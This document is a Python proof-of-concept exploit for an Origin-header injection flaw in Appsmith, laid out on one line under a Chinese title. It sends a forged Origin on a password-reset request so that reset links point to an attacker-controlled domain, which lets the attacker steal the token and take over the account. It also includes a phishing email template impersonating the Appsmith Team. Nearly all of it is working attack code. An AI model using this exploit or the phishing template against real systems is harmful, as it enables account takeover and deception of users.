CVE-2026-22794 Appsmith Origin头验证缺失导致账户接管漏洞

# CVE-2026-22794 PoC - Origin Header Injection in Appsmith # This PoC demonstrates the Origin header injection vulnerability # that leads to account takeover via password reset token theft import requests import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart TARGET_URL = "https://vulnerable-appsmith-instance.com" ATTACKER_DOMAIN = "attacker-controlled-domain.com" ATTACKER_SERVER = f"https://{ATTACKER_DOMAIN}" def exploit_origin_injection(): """ Simulate the Origin header injection attack """ print("[*] Starting CVE-2026-22794 Exploitation") # Step 1: Request password reset with malicious Origin header reset_endpoint = f"{TARGET_URL}/api/v1/users/forgot-password" headers = { "Origin": ATTACKER_SERVER, # Malicious Origin "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } payload = { "email": "[email protected]" } print(f"[*] Sending password reset request with Origin: {ATTACKER_SERVER}") response = requests.post(reset_endpoint, json=payload, headers=headers) # Step 2: The server uses the attacker-controlled Origin to generate email links # Email will contain: https://attacker-controlled-domain.com/user/reset-password?token=XXX print(f"[*] Response Status: {response.status_code}") print(f"[*] Email sent to victim with malicious link") print(f"[*] Malicious URL: {ATTACKER_SERVER}/user/reset-password?token=<STOLEN_TOKEN>") # Step 3: Set up listener to capture the token print(f"[*] Attacker should set up listener on {ATTACKER_SERVER}") print(f"[*] When victim clicks the link, token will be exfiltrated") return True def generate_phishing_email(): """ Generate a phishing email template that the attacker would send """ email_template = f""" Subject: Password Reset Request Dear User, We received a request to reset your Appsmith account password. Click the link below to reset your password: {ATTACKER_SERVER}/user/reset-password?token={{token}} If you did not request this, please ignore this email. Best regards, Appsmith Team """ return email_template if __name__ == "__main__": exploit_origin_injection()